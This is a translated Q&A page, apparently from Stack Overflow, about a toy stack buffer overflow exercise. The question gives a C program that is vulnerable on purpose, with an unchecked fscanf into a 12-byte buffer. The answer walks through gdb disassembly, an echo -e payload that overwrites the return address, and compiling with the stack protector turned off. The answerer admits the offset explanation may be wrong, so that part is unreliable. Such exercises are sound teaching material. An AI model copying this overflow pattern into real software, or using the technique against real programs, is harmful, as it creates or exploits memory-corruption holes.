利用缓冲漏洞时,从单独的函数返回地址

时间:2015-04-07 18:46:07

标签: c gdb buffer-overflow stack-smash

我必须使用一系列shell操作代码在下面的代码中利用缓冲漏洞。我已经看到了Google建议的几乎所有内容,但由于功能分离,这个特殊问题令我感到困惑。

void printThis(){
   if(printf("You did it 1!") >=0) exit(0);
   if(printf("You did it 2!") >=0) exit(0);
   if(printf("You did it 3!") >=0) exit(0);
}

void readIn(FILE *f){
   char exploit[12];
   int i;

   fscanf(f, "%s", exploit);

   for( i = 0; i < 12; i++){
      printf("%c", exploit[i]);
   }

   printf("\"\n");

}

int main(int argc, char** argv){
   FILE *fp;
   fp = fopen(argv[1], "r");

   readIn(fp);
   fclose(fp);
   printf("You suck at exploiting. I should not be printed.");

}

我很好奇如何使用readIn()中的语句的返回地址溢出printThis()中的缓冲区,因为它们使用不同的堆栈。 Intuition表示跳转到打印调用会起作用,但我无法让它工作。

有关获取GDB中有效负载所需信息的建议吗?谢谢你的帮助!

1 个答案:

答案 0 :(得分:2)

启动所有人最喜欢的调试器:

$ gdb myprog

反汇编printThis

$ disassemble printThis

抓住您要拨打的指令的地址,在我的情况下是0x0000000000400758。创建一个输入文件并输入12个字符以填充exploit,另外12个NUL字节,然后输入所需的返回地址:

$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt

(请注意,字节与我们实际需要的字节相反)。使用输入文件运行测试:

$ ./myprog input.txt
abcdabcdabcd"
You did it 3!

相信 12个NUL字节会覆盖if(4字节int,x86_64上的8字节指针)但我也不知道我是什么意思做或说,所以解释可能完全是假的。

另外,我必须像这样编译myprog

$ gcc -fno-stack-protector -g myprog.c -o myprog

否则我的堆栈粉碎检测崩溃而不是所需的输出。